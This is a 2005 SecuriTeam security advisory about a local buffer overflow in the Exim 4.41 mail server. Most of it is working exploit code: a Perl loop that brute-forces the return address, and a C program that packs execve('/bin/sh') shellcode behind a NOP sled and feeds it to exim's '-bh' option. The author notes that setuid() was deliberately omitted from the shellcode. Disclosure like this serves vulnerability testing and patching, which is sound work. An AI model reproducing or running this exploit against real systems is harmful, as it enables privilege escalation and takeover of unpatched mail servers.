[EXPL] Exim dns_buld_reverse() Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 01/16/05

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Date: 16 Jan 2005 10:47:27 +0200

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      Exim dns_buld_reverse() Exploit
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.exim.org/> Exim is "a mail transfer agent (MTA) for UNIX
    systems similar to Sendmail". Local exploitation of a buffer overflow
    vulnerability in Exim 4.41 allows execution of arbitrary commands with
    elevated privileges. The following exploit code can be used to test the
    vulnerability.

    DETAILS

    Exploit:
    Note that setuid () is not included in the shellcode to avoid
    script-kidding. My RET is 0xbffffae4, but fb.pl can brute-force it for
    you.

    fb.pl
    #!/usr/bin/perl

    $cnt = 0xbffffa10;

    while (1) {
        $hex = sprintf ("0x%x", $cnt);
        $res = system ("./exploit $hex");
        printf "$hex : $res\n";
        $cnt += 4;
    }

    exploit.c
    #define NOP 0x90
    #define TAMBUF 368
    #define INIC_SH 20
    #include <stdlib.h>

    int main (int argc, char **argv) {

        static char shellcode[]=
        "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
        "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
        "\x2f\x73\x68\x58";

        char buffer [TAMBUF + 1];
        char cadena [TAMBUF + 5];
        int cont;
        unsigned long ret = strtoul (argv[1], NULL, 16);

        for (cont = 0; cont < TAMBUF / 4; cont++)
                *( (long *) buffer + cont) = ret;

        for (cont = 0; cont < strlen (shellcode); cont++)
                buffer [cont + INIC_SH] = shellcode [cont];

        for (cont = 0; cont < INIC_SH; cont++)
                buffer [cont] = NOP;

        buffer [TAMBUF] = 0;
        printf ("RET = 0x%x\n", ret);
        strcpy (cadena, "::%A");
        strcat (cadena, buffer);
            execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:smcsoc@yahoo.es> Rafael San
    Miguel Carrasco.

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